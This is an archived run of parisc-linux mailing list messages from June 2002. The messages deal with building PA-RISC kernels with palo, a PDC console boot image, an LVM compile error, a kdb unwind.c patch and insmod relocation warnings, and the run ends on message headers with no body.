List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15003

Hi,

For what it's worth.

I always build my kernel the i386 way:
make menuconfig
make dep clean bzImage

I always use the nightly snapshots available from ftp.parisc-linux.org/cvs/ 
.


regards,

Kenneth
>From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
>To: marc <marc@centraltx.com>
>CC: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Building my first kernel
>Date: Wed, 5 Jun 2002 22:26:52 -0400
>
> > I'm trying to build the 2.4.18 kernel, and everything goes great
> > until I get to the `make bzImage` part and it screams about palo.
> > I'm assuming I need the palo source. is this right??
> >
> > -Marc
> >
>
>Yup.
>
>$SRC-TREE--|
>            |--- /linux
>            |
>            |--- /palo
>
>cd linux;
>make oldconfig;
>make menuconfig; (Fiddle)
>make dep;
>make palo;
>
>This puts the required lifimage in $SRC-TREE/palo
>
>c.
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


enjoy life, enjoy linux,

Kenneth

_________________________________________________________________
Verzend en ontvang Hotmail via je mobieltje: http://mobile.msn.com




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: E55 Kernel Support and question for Christoph  (used to be RE:  [parisc-linux] Greetings!)
Date: Thu, 6 Jun 2002 12:31:27 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <8EE6C56A-7938-11D6-B6BA-0030656F07A2@esiee.fr>
References: <3CFE7787.796C7F33@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621367 8415 80.91.229.3 (22 Nov 2014 01:56:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:07 +0000 (UTC)
Cc: Damian Boune <dboune@marmot.com>,
	Stan Sieler <sieler@allegro.com>,
	parisc-linux@lists.parisc-linux.org,
	Thierry Simonnet <t.simonnet@esiee.fr>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 04:31:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1030482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 04:31:29 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id C4EDB49CB0; Thu,  6 Jun 2002 12:31:27 +0200 (CEST)
In-Reply-To: <3CFE7787.796C7F33@gmx.at>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15004

Le mercredi 5 juin 2002, =E0 10:41 , Christoph Plattner a =E9crit :

>
> What to do:
> -----------
>
> Checkout a kernel, and enable the PDC ROM console in the "Character
> Devices" under the "Non-standard serial support". Further follow the
> <HELP> instructions for this driver (Creating a /dev/ttyB0, and use
> this device as login device).
You can get a lifimage with PDC enabled there:
http://pateam.esiee.fr/cd-
images/lifimages/lifimage-2.4.18-pa32-PDC-20020531.gz

There is also a corresponding netinst iso available on this site.

Robbert Stanford, who is hacking K-Class, reported this on the IRC:
15:48:23 <robbie>       the lifimage worked fine
15:49:00 <robbie>       however the kernel that was installed from=20
debian.org wasnt pdc enabled
15:52:44 <robbie>       thibaut:  on eother thing, but its more related=20=

to the install, i had to exit to a shell and manually edit=20
/target/etc/inittab and inittab.real to use /dev/ttyB0
15:55:29 <robbie>       which isnt realy a big deal, knowing one has to=20=

use ttyB0 with the lifimage pretty well means you oughta know enough=20
about sysVinit to check inittab when things go awry on your first boot

About the inittab.real hack, maybe Richard Hirst will see whether some=20=

tweaks to the default boot-floppies have to be done ;o)

Anyway, I hope this will help you.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Thu, 06 Jun 2002 14:44:42 +0200
Organization: H.P
Lines: 86
Approved: news@gmane.org
Message-ID: <3CFF593A.18910E50@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------E8E9A1BEB36A51EBA033AD03"
X-Trace: ger.gmane.org 1416621367 8416 80.91.229.3 (22 Nov 2014 01:56:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:07 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 06:50:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C19EB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 06:50:08 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2B1341F5
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 14:50:07 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id OAA28336 for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Jun 2002 14:49:00 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15005

This is a multi-part message in MIME format.
--------------E8E9A1BEB36A51EBA033AD03
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've started this morning to download latest CVS bits.
I've prepared a patche for this version from my dump driver,
and try to recompile everything, but I've found a problem
with LVM !!! See:
make dep: okay
make vmlinux:
ioctl32.c:2009: warning: assignment makes pointer from integer without a cast
ioctl32.c:2030: structure has no member named `inode'
ioctl32.c:2049: warning: passing arg 2 of `lcopy_from_user' makes pointer from integer without a cast
ioctl32.c:2067: structure has no member named `inode'
ioctl32.c:2078: warning: passing arg 2 of `lcopy_from_user' makes pointer from integer without a cast
ioctl32.c:2082: warning: assignment makes integer from pointer without a cast
ioctl32.c:2086: structure has no member named `inode'
ioctl32.c:1985: warning: `v' might be used uninitialized in this function 

-> in this file it is:
	v->pv[i]->pe = NULL; v->pv[i]->inode = NULL;
and
	p.pe = NULL; p.inode = NULL; 

It complains that there is no "inode" in structure pv[i].
So in this line v is a struct vg_t. In this structure
pv[i] is a pv_t structure, I've found this struture in
include/linux/lvm.h, and it is right, there is no "inode", 
in it !!!! Is this LVM code broken ?

typedef struct pv_v2 {
        char id[2];             /* Identifier */
        unsigned short version; /* HM lvm version */
        lvm_disk_data_t pv_on_disk;
        lvm_disk_data_t vg_on_disk;
        lvm_disk_data_t pv_uuidlist_on_disk;
        lvm_disk_data_t lv_on_disk;
        lvm_disk_data_t pe_on_disk;
        char pv_name[NAME_LEN];
        char vg_name[NAME_LEN];
        char system_id[NAME_LEN];       /* for vgexport/vgimport */
        kdev_t pv_dev;
        uint pv_number;
        uint pv_status;
        uint pv_allocatable;
        uint pv_size;           /* HM */
        uint lv_cur;
        uint pe_size;
        uint pe_total;
        uint pe_allocated;
        uint pe_stale;          /* for future use */
        pe_disk_t *pe;          /* HM */
        struct block_device *bd;
        char pv_uuid[UUID_LEN+1];

#ifndef __KERNEL__
        uint32_t pe_start;      /* in sectors */
#endif
} pv_t;
   
-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------E8E9A1BEB36A51EBA033AD03
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------E8E9A1BEB36A51EBA033AD03--




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Thu, 6 Jun 2002 14:00:06 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20020606130006.GE1080@tykepenguin.com>
References: <3CFF593A.18910E50@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621367 8421 80.91.229.3 (22 Nov 2014 01:56:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 07:00:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2586F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 07:00:12 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17Fws6-0000sV-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 06 Jun 2002 14:00:10 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3CFF593A.18910E50@admin.france.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15006

On Thu, Jun 06, 2002 at 02:44:42PM +0200, Bruno Vidal wrote:
> 	Hi
> I've started this morning to download latest CVS bits.
> I've prepared a patche for this version from my dump driver,
> and try to recompile everything, but I've found a problem
> with LVM !!! See:


Does LVM work on 64bit HP ?

I remember doing the ioctl32.c support for sparc64 some time ago but I can
easily beleive that the mods to that file haven't been propogated to other
32/64bit systems - if you're feeling adventurous and really need LVM then you
might be able to cut out those bits and drop them into the HP.

On the other hand you could try LVM2. I know LVM2 runs well on my 32bit HP
machines and also on 64bit Alpha.

patrick




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Thu, 6 Jun 2002 09:21:15 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20020606092115.C6900@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621367 8422 80.91.229.3 (22 Nov 2014 01:56:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:07 +0000 (UTC)
Cc: patrick@tykepenguin.com, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 07:21:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9FB5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 07:21:17 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g56DLFN07177;
	Thu, 6 Jun 2002 09:21:15 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Randolph Chung <tausq@debian.org>, patrick@tykepenguin.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15007

Randolph,

I think I was able to get kdb to stop dying inside unwind_table_init.

--- unwind.c.orig       Thu Jun  6 08:51:02 2002
+++ unwind.c    Thu Jun  6 08:51:49 2002
@@ -106,7 +106,7 @@
        table->base_addr = base_addr;
        table->gp = gp;
        table->start = base_addr + start[0].region_start;
-       table->end = base_addr + end[-1].region_end;
+       table->end = base_addr + end[0].region_end - sizeof(struct unwind_table_entry);
        table->table = (struct unwind_table_entry *)table_start;
        table->length = end - start;
        table->next = NULL;

Is this a gcc-ism we're seeing?
Note-to-self: Look at .S produced from compiling unwind.c

On another note, we have no code that calls unwind_table_add so I've
#if'd it out. Which makes me wonder... which change was the fix? 
Time to go back to square one and try them out independantly.

The kernel still goes into an infinite loop of unknown origin:
---
PCI or EISA Bus Adapter 0 is not registered...
---
(see ./arch/parisc/kernel/pci.c' -> PCI_PORT_IN)
Don't know where this gets called from, or how the ugly macro
expands :)

Sadly I think I zapped my VGA out on the 712/60 (A common occurence?).
It no longer produces _any_ video signals.
I may have to drag a 715/50 back to my house...

c.




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Thu, 6 Jun 2002 15:09:44 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20020606150944.D27186@parcelfarce.linux.theplanet.co.uk>
References: <20020606092115.C6900@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621368 8428 80.91.229.3 (22 Nov 2014 01:56:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:08 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Randolph Chung <tausq@debian.org>, patrick@tykepenguin.com,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 08:09:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB34E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 08:09:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17FxxR-0003Uw-00; Thu, 06 Jun 2002 15:09:45 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020606092115.C6900@systemhalted>; from carlos@baldric.uwo.ca on Thu, Jun 06, 2002 at 09:21:15AM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15008

On Thu, Jun 06, 2002 at 09:21:15AM -0400, Carlos O'Donell Jr. wrote:
> The kernel still goes into an infinite loop of unknown origin:
> ---
> PCI or EISA Bus Adapter 0 is not registered...
> ---
> (see ./arch/parisc/kernel/pci.c' -> PCI_PORT_IN)
> Don't know where this gets called from, or how the ugly macro
> expands :)

that ugly macro expands into inb/inw/inl.  that printk probably needs to
go away -- i don't think it's helpful.  maybe it should stay for adapter
!= 0, but so many drivers probe ISA space for their devices that we're
going to keep getting them.

i bet the loop isn't infinite... probably driver probing.  If you turn
off CONFIG_PCI, the driver shouldn't be compiled in.

> Sadly I think I zapped my VGA out on the 712/60 (A common occurence?).
> It no longer produces _any_ video signals.
> I may have to drag a 715/50 back to my house...
> 
> c.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strange message with insmod
Date: Thu, 06 Jun 2002 16:33:59 +0200
Organization: H.P
Lines: 54
Approved: news@gmane.org
Message-ID: <3CFF72D7.30FA7556@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------ADB1F49C9F0111973D8FDEE3"
X-Trace: ger.gmane.org 1416621368 8431 80.91.229.3 (22 Nov 2014 01:56:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:08 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 08:39:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 601A2482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 08:39:26 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id D9C87D64
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 16:39:24 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA03244 for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Jun 2002 16:38:18 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15009

This is a multi-part message in MIME format.
--------------ADB1F49C9F0111973D8FDEE3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've compiled a new kernel (without LVM), everything seems okay.
My dump driver compiled right...but when I use insmod:
hpfrcw12:~# insmod dump
Using /lib/modules/2.4.18-pa35/kernel/drivers/dump/dump.o
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
hpfrcw12:~# insmod st
Using /lib/modules/2.4.18-pa35/kernel/drivers/scsi/st.o
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled 

So it is not coming from my modules. The modules are loaded,
everything seems okay, but what means this messages ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------ADB1F49C9F0111973D8FDEE3
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------ADB1F49C9F0111973D8FDEE3--




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Thu, 6 Jun 2002 10:43:45 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20020606104345.D7198@systemhalted>
References: <20020606092115.C6900@systemhalted> <20020606150944.D27186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621368 8435 80.91.229.3 (22 Nov 2014 01:56:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:08 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, patrick@tykepenguin.com,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 08:43:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CC5C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 08:43:44 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g56Ehju07454;
	Thu, 6 Jun 2002 10:43:45 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	Randolph Chung <tausq@debian.org>, patrick@tykepenguin.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020606150944.D27186@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Jun 06, 2002 at 03:09:44PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (64% Sync Ratio [======....])
